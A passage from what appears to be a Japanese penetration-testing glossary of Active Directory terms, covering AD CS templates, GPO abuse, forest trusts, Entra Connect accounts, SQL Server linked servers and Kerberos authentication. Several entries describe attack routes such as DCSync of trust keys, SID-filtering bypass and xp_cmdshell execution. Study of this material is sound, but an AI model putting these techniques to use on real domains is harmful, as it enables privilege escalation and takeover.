| ESC1 | 申請者が SAN (UPN) を自由に指定できる脆弱テンプレート。任意ユーザーになりすました証明書を取得できる。 |
| ESC3 | Certificate Request Agent を悪用した 2 段階のなりすまし。 |
| Strong Certificate Mapping | KB5014754 以降の追加検証。証明書に SID が埋め込まれていないと認証が拒否される(クロスフォレストで問題になる)。 |
| PKINIT | 証明書を使って Kerberos 事前認証を行う仕組み。Shadow Credentials や AD CS 悪用で TGT を取得する際に使用。 |
10.7 GPO と構成管理
| 用語 | 解説 |
|---|---|
| GPO | Group Policy Object。ドメインユーザーやコンピューターの設定を集中管理する。 |
| WMI Filter | GPO 適用条件を WMI クエリで制御する機能。gpcwqlfilter が NULL でなければ WMI フィルターあり。 |
| Restricted Groups | GPO でローカルグループのメンバーを強制する機能。GPO Write 権限で悪用可能。 |
| Scheduled Task via GPO | GPO 経由で DC 上でスクリプトを実行させる手法。SharpGPOAbuse で設定する。 |
| AD Site | 物理ネットワークの場所を表す AD オブジェクト。Site に紐付く GPO は DC を含む場合があり、高価値なターゲットとなる。 |
10.8 信頼関係
| 用語 | 解説 |
|---|---|
| Trust Key | ドメイン間 Kerberos チケットの暗号化・検証に使われる共有鍵。TDO の GUID で DCSync して取得する。 |
| SID Filtering | 外部フォレストから送られる SID を制限する防御機構。RID > 1000 のカスタムグループは通過できる場合がある。 |
| FSP | Foreign Security Principal。外部フォレストの主体をローカル AD 内で表現するオブジェクト。Administrators グループへの登録が特に危険。 |
| PAM Trust | 特権アクセス管理用に設計された特殊な信頼関係。SIDFilteringQuarantined=False で識別できる。bastion フォレストが本番フォレストを管理する構成で使用される。 |
| Trust Account | 信頼関係を表現する DOMAIN$ 形式のアカウント。DA 権限で DCSync して AES256 を取得し、対象フォレストに認証できる。 |
| Shadow Principal | PAM Trust 環境で管理フォレストのユーザーを本番フォレストの特権グループにマッピングするオブジェクト。msDS-ShadowPrincipalSid で確認する。 |
10.9 ハイブリッド ID
| 用語 | 解説 |
|---|---|
| Entra ID | Microsoft のクラウド ID サービス。旧 Azure AD。 |
| Entra Connect | オンプレミス AD と Entra ID を同期するコンポーネント。PHS/PTA/ADFS で MSOL_* アカウントが作成される。 |
| MSOL_* | Entra Connect インストール時に自動作成されるサービスアカウント。DCSync 権限を持つため非常に危険。Description にサーバー名とテナント名が記載される。 |
| ConnectSyncProvisioning_* | Entra Connect 同期処理に関連するサービスプリンシパル。ADSynchronization.ReadWrite.All 権限を持ち、クラウドユーザーのパスワードリセットが可能。 |
| sMSA | Standalone Managed Service Account。Entra Connect が使用するサービスアカウント。証明書ストアへのアクセスに必要。 |
10.10 SQL Server
| 用語 | 解説 |
|---|---|
| Linked Server | SQL Server から別 SQL Server へクエリを中継する機能。リンクをたどることで別フォレストの DB サーバーに到達できる。 |
| xp_cmdshell | SQL Server サービスコンテキストで OS コマンドを実行する拡張ストアドプロシージャ。sysadmin 権限があれば有効化できる。 |
| RPC Out | Linked Server 経由でリモートストアドプロシージャを実行する設定。sp_serveroption で有効化する。 |
| sysadmin | SQL Server の最高権限ロール。xp_cmdshell の有効化と実行に必要。 |
10.11 認証方式
| 用語 | 解説 |
|---|---|
| NegotiateWithImplicitCredential |
runas /netonly で起動したプロセスの NTLM ハッシュを使って認証する方式。IP アドレスへの接続で有効。ダブルホップは解決しない。 |
| CredSSP | 平文パスワードを次のホップに転送して認証する方式。ダブルホップ問題を解決できる。サーバー側とクライアント側の両方で設定が必要。 |
| PKINIT | 証明書を使って Kerberos 事前認証を行う方式。Shadow Credentials や AD CS 悪用で TGT を取得する際に使用。 |
| Kerberos Double Hop | PSSession 経由でさらに別のサーバーにアクセスする際、TGT が転送されないために認証が失敗する問題。CredSSP で解決する。 |